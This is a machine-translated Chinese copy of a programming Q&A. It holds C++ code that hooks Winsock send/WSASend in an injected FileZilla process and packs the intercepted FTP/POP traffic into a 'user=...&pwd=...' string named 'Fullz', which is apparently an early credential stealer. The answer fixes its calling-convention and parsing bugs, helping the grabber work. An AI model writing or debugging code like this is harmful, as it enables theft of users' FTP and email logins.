2017-01-01 69 views
1

我想挂钩发送/ WSASend来监视流量,显示数据在消息框中,当我钩显示消息框与流量它弹出此运行时检查错误。挂钩发送/ WSASend返回运行时检查错误#0

代码似乎正确编译,就像下面这样

#include "stdafx.h" 
#include "MinHook.h" 
#include <Windows.h> 
#include <stdio.h> 
#include <Wininet.h> 
#include <fstream> 
#include <string> 
#include <vector> 
#include <winsock2.h> 
#include "popftphook.h" 

#pragma comment (lib, "wininet") 
#pragma comment(lib,"urlmon") 
#pragma comment(lib, "ws2_32") 

using namespace std; 

LPVOID original_functionwsa = NULL; 
LPVOID original_functionsend = NULL; 

template <typename T> 
inline MH_STATUS MH_CreateHookEx(LPVOID original, LPVOID pDetour, T** ppOriginal) 
{ 
    return MH_CreateHook(original, pDetour, reinterpret_cast<void**>(ppOriginal)); 
} 

typedef int(*send_FuncType)(SOCKET s, const char *buf, int len, int flags); 
typedef int (WINAPI *OldWSASend)(SOCKET s, LPWSABUF lpBuffers, DWORD dwBufferCount, LPDWORD lpNumberOfBytesSent, DWORD dwFlags, LPWSAOVERLAPPED lpOverlapped, LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine); 
void ExportBuffer(char *buf, SOCKET s); 
send_FuncType True_send = NULL; 
OldWSASend TrueWSAhook1 = NULL; 

void ExportBuffer(char *buf, SOCKET s) 
{ 
    char *buffer = (char*)buf; 
    if (strncmp(buffer, "FTP", 5) == 0 || strncmp(buffer, "POP", 5) == 0) 
    { 
     sockaddr_in peeraddr; 
     int size = sizeof(peeraddr); 
     getpeername(s, (struct sockaddr *)&peeraddr, &size); 
     struct sockaddr_in *s = (struct sockaddr_in *)&peeraddr; 
     char* IP = inet_ntoa(peeraddr.sin_addr); 
     int Port = (int)htons(peeraddr.sin_port); 

     if (IP != NULL && Port > 0) 
     { 
      char Fullz[250]; 
      wsprintfA(Fullz, "user=%s&pwd=%s&domain=%s&port=%d&proto=POP3 or FTP", buf, inet_ntoa(peeraddr.sin_addr), Port); 
      MessageBoxA(0, Fullz, 0, 0); 
     } 
    } 
} 


int WINAPI Detoursend(SOCKET s, const char *buf, int len, int flags) 
{ 
    int hResult = True_send(s, buf, len, flags); 
    if (hResult > 0) 
    { 
     ExportBuffer((char*)buf, s); 
    } 

    return hResult; 
} 

int WINAPI HOOK_WSASend(SOCKET s, LPWSABUF lpBuffers, DWORD dwBufferCount, LPDWORD lpNumberOfBytesSent, DWORD dwFlags, LPWSAOVERLAPPED lpOverlapped, LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine) 
{ 
    int hResult = TrueWSAhook1(s, lpBuffers, dwBufferCount, lpNumberOfBytesSent, dwFlags, lpOverlapped, lpCompletionRoutine); 
    if (hResult > 0) 
    { 
     ExportBuffer((char*)lpBuffers->buf, s); 
    } 
    return hResult; 

} 

void hookSend() 
{ 
    MH_STATUS status = MH_Initialize(); 
    original_functionsend = (LPVOID)GetProcAddress(GetModuleHandle(L"ws2_32.dll"), "send"); 
    status = MH_CreateHookEx(original_functionsend, &Detoursend, &True_send); 
    status = MH_EnableHook(MH_ALL_HOOKS); 
} 

void hookWSApop() 
{ 
    MH_STATUS status = MH_Initialize(); 
    original_functionsend = (LPVOID)GetProcAddress(GetModuleHandle(L"ws2_32.dll"), "WSASend"); 
    status = MH_CreateHookEx(original_functionsend, &HOOK_WSASend, &TrueWSAhook1); 
    status = MH_EnableHook(MH_ALL_HOOKS); 
} 

void poptrigger() 
{ 
    hookSend(); 
    hookWSApop(); 
} 

当我注入FileZilla的我得到运行时检查错误#0上线57

回答

3

send_FuncType的typedef缺少一个明确的呼叫约定,因此使用编译器的默认值(通常为__cdecl)。 send()使用__stdcall调用约定(几乎每个Win32 API函数都这样做)。因此,由于该调用约定不匹配,您在调用True_send()时可能会导致运行时错误。 WINAPI宏包括__stdcall惯例,所以您的WSASend()挂钩上没有类似的不匹配。

此外,ExportBuffer()有相当多的逻辑错误的:

  1. send()WSASend()不要空值终止的缓冲区操作(和空终结不要在FTP和POP3协议的存在),但你的strncmp并且wsprintfA操作期望空终止的数据。
  2. 根本没有考虑到TCP的面向流的特性。不能保证任何给定的缓冲区将包含完整的字符串。您必须准备好处理跨越多个缓冲区的字符串。
  3. 您假定所有套接字都只使用IPv4,但不能保证。要同时支持IPv4和IPv6,请使用sockaddr_storage而不是sockaddr_in,并使用InetPton()而不是inet_ntoa()
  4. 您没有将足够的参数传递给wsprintfA()。您有4个格式说明符,但只传递3个数据值。
  5. 您似乎想要处理FTP和POP3协议,但字符串"FTP""POP"未出现在这些协议的传输数据中,所以您真的在寻找什么?

您需要修复这些错误。